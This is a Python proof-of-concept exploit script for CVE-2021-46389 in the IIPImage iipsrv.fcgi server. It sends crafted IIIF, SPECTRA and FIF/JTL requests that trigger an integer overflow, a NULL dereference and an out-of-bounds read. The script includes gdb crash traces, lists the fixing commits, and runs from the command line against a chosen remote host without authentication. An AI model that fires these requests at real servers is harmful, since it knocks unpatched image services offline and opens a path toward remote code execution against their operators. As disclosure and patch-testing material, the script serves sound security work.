IIPImage Remote Memory Corruption Exploit

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
#
# thiel.py
#
# IIPImage Multiple Remote Memory Corruption Vulnerabilities
#
# Jeremy Brown [jbrown3264/gmail]
#
# IIPImage is distributed with a server that enables advanced, high-performance
# image manipulation for web-based streaming and viewing of high resolution images.
# The server component called iipsrv.fcgi processes requests from users and passes
# them to command handlers. Several crashes including an integer overflow were
# discovered by sending malformed requests to the server, allowing remote users
# without authentication to perform denial-of-service attacks or potentially
# crafted for remote code execution as the server's running user.
#
# Tested on Ubuntu 20.04 with NGINX fastcgi_pass localhost:9000 configuration
#
# Demo
#
# $ ./thiel.py http://10.0.0.201 --trigger iiif
#
# (gdb) r --bind 0.0.0.0:9000 # 9000 for nginx comms, port 80 externally
# ...
#
# Thread 1 "iipsrv.fcgi" received signal SIGSEGV, Segmentation fault.
# __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:319
# (gdb) i r
# rax            0x7ffef6d50b68      140733039577960
# rbx            0xffffffff          4294967295
# rcx            0xb3                179
# rdx            0x6                 6
# rsi            0x5555556ae20d      93824993649165
# rdi            0x7ffef6d50b68      140733039577960
# rbp            0x7fffffffc690      0x7fffffffc690
# rsp            0x7fffffffc4b8      0x7fffffffc4b8
# r8             0x0                 0
# r9             0x0                 0
# r10            0x55555564f4e0      93824993260768
# r11            0x7ffef6d50b68      140733039577960
# r12            0xb58               2904
# r13            0x81                129
# r14            0x1e4               484
# r15            0x8                 8
# rip            0x7ffff7a53708      0x7ffff7a53708 <__memmove_avx_unaligned_erms+152>
#
# => 0x7ffff7a53708 <__memmove_avx_unaligned_erms+152>:  mov    ecx,DWORD PTR [rsi+rdx*1-0x4]
#
# 0  __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:319
# 1  0x0000555555573b5c in memcpy (__len=6, __src=<optimized out>, __dest=<optimized out>) at /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
# 2  TileManager::getRegion (this=this@entry=0x7fffffffc7d0, res=res@entry=0, seq=0, ang=90, layers=0, x=<optimized out>, y=<optimized out>, width=<optimized out>, height=<optimized out>) at TileManager.cc:470
# 3  0x000055555558c914 in CVT::send (this=this@entry=0x7fffffffd390, session=session@entry=0x7fffffffd8b0) at CVT.cc:222
# 4  0x000055555559a06e in IIIF::run (this=0x5555555e2e20, session=0x7fffffffd8b0, src=...) at IIIF.cc:656
# 5  0x0000555555566cf4 in main (argc=<optimized out>, argv=<optimized out>) at Main.cc:741
#
# Fixes
# - commits 4ed59265fbbd636dc2fbbf325f8ea37ed300a6d9, 882925b295a80ec992063deffc2a3b0d803c3195
#
# CVE-2021-46389
#

import os
import sys
import argparse
import signal
import requests

PATH = '/fcgi-bin/iipsrv.fcgi'

#
# also there's many params for some functions like fif such as obj, qlt, sds,
# cnt, cvt, wid, rgn, etc so the code definitely needs lots of input validation
#
QUERY_FIF = '?fif='
QUERY_IIIF = '?iiif='
QUERY_SPECTRA = '?spectra='

#
# Some bugs require a valid file (eg. tiled TIF) to be present on the server (eg. IIIF big region)
#
# sample: https://openslide.cs.cmu.edu/download/openslide-testdata/Generic-TIFF/CMU-1.tiff
#
VALID_FILE = '/var/www/test.tif'

### BUGS ###
#
# Bug #1: Integer overflow @ TileManager::getRegion()
#
# Thread 1 "iipsrv.fcgi" received signal SIGSEGV, Segmentation fault.
# __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:319
#
# REQ = QUERY_IIIF + VALID_FILE + '/full,32883,500,500/256,/0/default.jpg' # image
# REQ = QUERY_IIIF + VALID_FILE + '/full,32884,500,500/256,/0/default.jpg' # image error
REQ_IIIF = QUERY_IIIF + VALID_FILE + '/full,32912,500,500/256,/0/default.jpg' # SIGSEGV
# REQ_FIF_WID = QUERY_FIF + VALID_FILE + '&wid=652455&cvt=jpeg' # SIGSEGV (starts at CVT::run instead of IIIF:run)

#
# Bug #2: NULL ptr deref @ SPECTRA::run
#
# Thread 1 "iipsrv.fcgi" received signal SIGSEGV, Segmentation fault.
# SPECTRA::run (this=0x5555555e2f70, session=0x7fffffffd8b0, argument=...) at IIPImage.h:335
# 335    unsigned int getTileWidth() { return tile_width; };
#
REQ_SPECTRA = QUERY_SPECTRA + 'x' # no valid file necessary

#
# Bug #3: Another crash @ JTL::run
#
# Thread 1 "iipsrv.fcgi" received signal SIGSEGV, Segmentation fault.
# JTL::send (this=this@entry=0x5555555e3200, session=session@entry=0x7fffffffd8c0, resolution=resolution@entry=129165, tile=tile@entry=1) at IIPImage.h:324
# 324    unsigned int getImageWidth( int n=0 ) { return image_widths[n]; };
#
REQ_FIF_JTL = QUERY_FIF + VALID_FILE + '&jtl=129500,1' # try larger value if no crash
#
### END BUGS ###


class Thiel(object):
    def __init__(self, args):
        self.host = args.host
        self.trigger = args.trigger

    def run(self):
        if(self.trigger == None):
            print("error: choose which bug use via --trigger")
            return -1

        if(self.trigger == 'iiif'):
            return self.sendRequest(self.host, REQ_IIIF)

        if(self.trigger == 'spectra'):
            return self.sendRequest(self.host, REQ_SPECTRA)

        if(self.trigger == 'fif_jtl'):
            return self.sendRequest(self.host, REQ_FIF_JTL)

        return 0

    def sendRequest(self, host, req):
        session = requests.Session()

        try:
            resp = session.get(host + PATH + req)
        except Exception as error:
            print("Error: %s" % error)
            return -1

        if(b'502 Bad Gateway' in resp.content):
            print("done\n")
            return 0
        else:
            print("[-] iipsrv still appears to be up\n")
            return -1

def signalExit():
    sys.exit(-1)

def arg_parse():
    parser = argparse.ArgumentParser()

    parser.add_argument("host",
                        type=str,
                        help="target host")

    parser.add_argument("--trigger",
                        "--trigger",
                        type=str,
                        choices=['iiif', 'spectra', 'fif_jtl'],
                        help="which bug to trigger")

    args = parser.parse_args()

    return args

def main():
    signal.signal(signal.SIGINT, signalExit)

    args = arg_parse()

    pt = Thiel(args)

    result = pt.run()

    if(result > 0):
        sys.exit(-1)

if(__name__ == '__main__'):
    main()